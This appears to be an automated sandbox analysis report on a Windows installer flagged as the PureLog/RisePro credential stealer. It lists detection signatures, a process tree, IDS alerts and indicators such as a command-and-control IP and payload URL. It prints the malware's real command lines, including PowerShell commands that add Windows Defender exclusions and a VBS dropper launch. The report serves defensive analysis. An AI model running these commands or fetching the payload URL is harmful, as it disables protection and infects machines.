Edit tour

Windows Analysis Report
InjectToolInstaller.exe

Overview

General Information

Sample name:	InjectToolInstaller.exe
Analysis ID:	1417459
MD5:	86daf2965a3ac93c7119b5eccbeca489
SHA1:	ac7b034df5b8e42dfaa21ee7cf6656664a7dcf02
SHA256:	358bdb901a68378a995c91b5d500c579851b1ced09c28060e03734f8b48c0c80
Infos:

Detection

PureLog Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected PureLog Stealer

.NET source code contains potential unpacker

Adds a directory exclusion to Windows Defender

Command shell drops VBS files

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to inject threads in other processes

Found API chain indicative of sandbox detection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found stalling execution ending in API Sleep call

Injects a PE file into a foreign processes

Installs new ROOT certificates

Potential malicious VBS script found (suspicious strings)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Yara detected Costura Assembly Loader

Allocates memory with a write watch (potentially for evading sandboxes)

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Checks if the current process is being debugged

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to detect sandboxes (mouse cursor move detection)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to record screenshots

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

File is packed with WinRar

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores large binary data to the registry

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Uses the keyboard layout for branch decision (may execute only for specific keyboard layouts)

Uses the system / local time for branch decision (may execute only at specific dates)

Classification

Process Tree

System is w7x64

InjectToolInstaller.exe (PID: 3204 cmdline: "C:\Users\user\Desktop\InjectToolInstaller.exe" MD5: 86DAF2965A3AC93C7119B5ECCBECA489)

cmd.exe (PID: 3388 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\7zS48C4B291\run.bat" " MD5: AD7B9C14083B52BC532FBA5948342B98)

cmd.exe (PID: 3412 cmdline: C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\installer.bat MD5: AD7B9C14083B52BC532FBA5948342B98)

cmd.exe (PID: 3436 cmdline: C:\Windows\system32\cmd.exe /K C:\Users\user\AppData\Local\Temp\1.bat MD5: AD7B9C14083B52BC532FBA5948342B98)

net.exe (PID: 3472 cmdline: NET FILE MD5: B9A4DAC2192FD78CDA097BFA79F6E7B2)

net1.exe (PID: 3492 cmdline: C:\Windows\system32\net1 FILE MD5: 2041012726EF7C95ED51C15C56545A7F)

cmd.exe (PID: 3532 cmdline: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat" MD5: AD7B9C14083B52BC532FBA5948342B98)

net.exe (PID: 3556 cmdline: NET FILE MD5: B9A4DAC2192FD78CDA097BFA79F6E7B2)

net1.exe (PID: 3564 cmdline: C:\Windows\system32\net1 FILE MD5: 2041012726EF7C95ED51C15C56545A7F)

powershell.exe (PID: 3612 cmdline: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3728 cmdline: powershell.exe -command "Add-MpPreference -AttackSurfaceReductionOnlyExclusions "C:\Users\user\Appdata\Local" -Force" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

PING.EXE (PID: 3844 cmdline: ping 127.0.0.1 -n 3 MD5: 6242E3D67787CCBF4E06AD2982853144)

data.exe (PID: 3944 cmdline: C:\Users\user\AppData\Local\Temp\data.exe -p"hty6u57tfg" -d"C:\Users\user\AppData\Local\Temp\" MD5: CF515BE4BDA9A66C9FDBEDF7D22CCC59)

wscript.exe (PID: 3268 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A)

insta313tg.exe (PID: 2604 cmdline: "C:\Users\user\AppData\Local\Temp\insta313tg.exe" MD5: B1B1351B0ACA52254ECA958402C093F6)

insta313tg.exe (PID: 3632 cmdline: "C:\Users\user\AppData\Local\Temp\insta313tg.exe" MD5: B1B1351B0ACA52254ECA958402C093F6)

PING.EXE (PID: 3464 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3512 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3592 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3704 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3800 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3868 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3936 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3988 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 4016 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 4044 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 4072 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 1600 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 2900 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 1732 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 196 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 2836 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 928 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 980 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3236 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3288 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 1708 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3332 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 2204 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3480 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3504 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3380 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3516 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3608 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

PING.EXE (PID: 3652 cmdline: ping 127.0.0.1 -n 2 MD5: 6242E3D67787CCBF4E06AD2982853144)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000002A.00000002.470797690.0000000003842000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000002A.00000002.472107089.00000000057D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000002A.00000002.470471234.000000000254E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000002A.00000002.471803561.0000000005120000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: insta313tg.exe PID: 2604	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Unpacked PEs

Source	Rule	Description	Author
42.2.insta313tg.exe.3843ef0.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
42.2.insta313tg.exe.57d0000.9.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
42.2.insta313tg.exe.5120000.8.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
42.2.insta313tg.exe.5120000.8.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine|base64offset|contains: &, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious DNS Query for IP Lookup Service APIs

Source: DNS query

Author: Brandon George (blog post), Thomas Patzke: Data: Image: C:\Users\user\AppData\Local\Temp\insta313tg.exe, QueryName: ipinfo.io

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\7zS48C4B291\runas.vbs" , ProcessId: 3268, ProcessName: wscript.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\insta313tg.exe, ProcessId: 3632, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", CommandLine|base64offset|contains: &, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd /C "C:\Users\user\AppData\Local\Temp\1.bat", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3532, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -command "Add-MpPreference -ExclusionPath "C:\Users\user\Appdata\Local" -Force", ProcessId: 3612, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 3612, TargetFilename: C:\Users\user\AppData\Local\Temp\wjk313b4.ojb.ps1

Snort Signatures

ET TROJAN RisePro TCP Heartbeat Packet - Source IP: 192.168.2.22 - Destination IP: 116.203.183.140

Timestamp:	03/29/24-11:04:50.649369
SID:	2049060
Source Port:	49167
Destination Port:	54151
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] RisePro TCP (External IP) - Source IP: 116.203.183.140 - Destination IP: 192.168.2.22

Timestamp:	03/29/24-11:04:50.835883
SID:	2046267
Source Port:	54151
Destination Port:	49167
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://wprogs.top/wefrgdf/bndwaf.exe	Avira URL Cloud: Label: malware
Source: https://wprogs.top:80/wefrgdf/bndwaf.exe	Avira URL Cloud: Label: malware
Source: https://wprogs.top/wefrgdf/bndwaf.exe#	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\21.mp3

Avira: detection malicious, Label: HEUR/AGEN.1332199

Multi AV Scanner detection for domain / URL

Source: wprogs.top

Virustotal: Detection: 20%

Perma Link

Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2A37E8 GetProcAddress,GetProcAddress,CryptProtectMemory,CryptUnprotectMemory,GetCurrentProcessId,		24_2_000000013F2A37E8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00570420 RegQueryValueExA,RegCloseKey,CryptUnprotectData,CryptUnprotectData,LocalFree,		48_2_00570420

Source: InjectToolInstaller.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 34.117.186.192:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 104.26.4.15:443 -> 192.168.2.22:49169 version: TLS 1.0

Source: InjectToolInstaller.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: insta313tg.exe, 0000002A.00000002.471726274.0000000004CB0000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: insta313tg.exe, 0000002A.00000002.471726274.0000000004CB0000.00000004.08000000.00040000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470471234.0000000002682000.00000004.00000800.00020000.00000000.sdmp, insta313tg.exe, 0000002A.00000002.470797690.00000000034EE000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\git-sdk-64\usr\src\MSYS2-packages\p7zip\src\p7zip_16.02.bup\CPP\7zip\Bundles\SFXSetup\ReleaseD\7zSD.pdb source: InjectToolInstaller.exe
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: data.exe, 00000018.00000002.449019686.000000013F2CC000.00000002.00000001.01000000.00000006.sdmp, data.exe, 00000018.00000000.406984919.000000013F2CC000.00000002.00000001.01000000.00000006.sdmp, data.dat.2.dr
Source:	Binary string: protobuf-net.pdb source: insta313tg.exe, 0000002A.00000002.471586467.0000000004860000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Windows\SysWOW64\cmd.exe	Directory queried: number of queries: 1617
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Directory queried: number of queries: 1043

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013AABAF FindFirstFileA,FindFirstFileW,	0_2_013AABAF
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E783F FindFirstFileExA,	0_2_013E783F
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7AF7 FindFirstFileExW,FindClose,FindNextFileW,	0_2_013E7AF7
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7CAD FindFirstFileExA,	0_2_013E7CAD
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	Code function: 0_2_013E7CD8 FindFirstFileExW,	0_2_013E7CD8
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F29DDB0 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	24_2_000000013F29DDB0
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2C4150 FindFirstFileExA,	24_2_000000013F2C4150
Source: C:\Users\user\AppData\Local\Temp\data.exe	Code function: 24_2_000000013F2B3000 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,swprintf,SetDlgItemTextW,FindClose,swprintf,SetDlgItemTextW,SendDlgItemMessageW,swprintf,SetDlgItemTextW,swprintf,SetDlgItemTextW,	24_2_000000013F2B3000
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0055E150 CreateDirectoryA,CreateDirectoryA,FindFirstFileA,GetLastError,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,GetLastError,GetLastError,CreateDirectoryA,SHGetFolderPathA,GetFileAttributesA,GetFileAttributesA,GetLastError,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetFileAttributesA,GetLastError,__Mtx_unlock,GetFileAttributesA,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,__Mtx_unlock,	48_2_0055E150
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0058E2D0 SHGetFolderPathA,GetFileAttributesA,GetFileAttributesA,GetLastError,GetLastError,__Mtx_unlock,GetFileAttributesA,GetLastError,__Mtx_unlock,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CopyFileA,GetFileAttributesA,GetLastError,__Mtx_unlock,__Mtx_unlock,CreateDirectoryA,CopyFileA,CopyFileA,__Mtx_unlock,__Mtx_unlock,	48_2_0058E2D0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0055A750 FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,__Mtx_unlock,	48_2_0055A750
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_00570D83 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	48_2_00570D83
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0062D997 FindClose,FindFirstFileExW,GetLastError,	48_2_0062D997
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 48_2_0064CD90 FindFirstFileExW,	48_2_0064CD90

Source: C:\Users\user\Desktop\InjectToolInstaller.exe

Code function: 0_2_013AAEC5 __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z,__EH_prolog3,GetLogicalDriveStringsA,GetLogicalDriveStringsA,GetLogicalDriveStringsW,GetLogicalDriveStringsW,

0_2_013AAEC5

Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\build\lib	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\emoji-regex	Jump to behavior
Source: C:\Users\user\Desktop\InjectToolInstaller.exe	File opened: C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\@isaacs\cliui\node_modules\ansi-regex	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then jmp 049FDED9h	42_2_049FDE78
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	42_2_04A041A8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then jmp 04A0A805h	42_2_04A0A631
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then jmp 04A0A805h	42_2_04A0A640
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then jmp 04A0A805h	42_2_04A0A7C5
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	42_2_04A041A0
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then jmp 04A0A805h	42_2_04A0A9B8
Source: C:\Users\user\AppData\Local\Temp\insta313tg.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	42_2_04DFD950

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2049060 ET TROJAN RisePro TCP Heartbeat Packet 192.168.2.22:49167 -> 116.203.183.140:54151
Source: Traffic	Snort IDS: 2046267 ET TROJAN [ANY.RUN] RisePro TCP (External IP) 116.203.183.140:54151 -> 192.168.2.22:49167

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 2

Source: global traffic

TCP traffic: 192.168.2.22:49167 -> 116.203.183.140:54151

Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 34.117.186.192 34.117.186.192
Source: Joe Sandbox View	IP Address: 104.26.4.15 104.26.4.15

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d

